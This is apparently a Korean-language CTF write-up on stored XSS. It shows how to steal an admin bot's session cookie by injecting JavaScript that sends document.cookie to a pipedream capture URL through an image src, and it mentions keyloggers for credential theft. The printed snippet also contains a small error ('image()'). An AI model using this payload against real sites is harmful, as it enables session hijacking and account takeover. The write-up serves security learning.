이전 글에서 XSS를 사용하여 취약점을 발견하고 alert 또는 prompt를 사용하여 스크립트창을 띄우는 시도까지
진행했습니다 이어서 이런 취약점으로 어떤 다양한 공격이 가능한지 알아보도록 하겠습니다
XSS가 통하는 허점을 발견했으면 그것을 활용하여 가장 먼저 해야 될 것이 대상자의 쿠키값 탈취이며 더 다양한
공격 기법으로 key logger로 대상자의 아이디 및 비밀번호까지 탈취할 수 있습니다
CTF XSS 1의 XSS 취약점을 바탕으로 쿠키값을 탈취해보도록 하겠습니다
일단 시작하기 앞서 관리자봇의 쿠키값을 수신받을 수 있는 서버를 하나 생성해야 합니다 저는
pipedream 사이트에서 서버 링크를 발급받도록 하겠습니다 해당 사이트는 XSS 공격으로 전송된 값을 웹 인터페이스에서
쉽게 확인 가능하며 XSS 테스트에서 데이터 수신 엔드포인트 역할을 하며, 요청 데이터를 실시간으로 캡처하고
분석할 수 있는 아주 유용한 사이트입니다
pipedream 공식 사이트에서 "https://eodtkhybz5yww7w.m.pipedream.net" url을 발급받았으며 XSS 공격으로부터 전송된
값을 이쪽 url로 전송해 보도록 하겠습니다 일단 XSS 1 페이지의 취약점 부분에 해당 서버링크와 연결가능한 코드를 삽입
하는 과정을 진행하겠습니다
자바스크립트로 cookie값을 알아보는 코드가 document.cookie이고
var img = image();
img.src = " https://eodtkhybz5yww7w.m.pipedream.net /" + document.cookie;
다음과 같은 코드를 사용하여 공격자 주소에 대상자의 쿠키값을 전송할 수 있습니다
➰왜 image.src를 사용하냐면 간단하고 효과적으로 외부 서버로 데이터를 전송할 수 있기 때문입니다 이는 유일한
방법은 아니며 다른 방법도 사용할 수 있습니다 (ex> script.src, iframe.src)
var img = image();
img.src = " https://eodtkhybz5yww7w.m.pipedream.net /" + document.cookie;
위 코드를 관리자 모드의 console창에 실행을 시키니
cookie값이 잘 받아지는 것을 확인할 수 있습니다
그러면 이런 경험을 바탕으로 XSS를 바로 적용시켜 보도록 합시다
취약점이 발견된 사이트(update_body값에 스크립트가 실행되는 것을 확인)에 해당 코드를 삽입시켜 보도록 하겠습니다
해당 코드가 실행됐으며 지정된 url로 데이터를 보냈고 취약점이 stored XSS판단됩니다
HTML Entity (1) | 2024.12.31 |
---|---|
Event Handler (0) | 2024.12.29 |
XSS (1) | 2024.12.12 |
SQL Injection Point 찾기 (2) | 2024.12.06 |
Blind SQL Injection (0) | 2024.12.03 |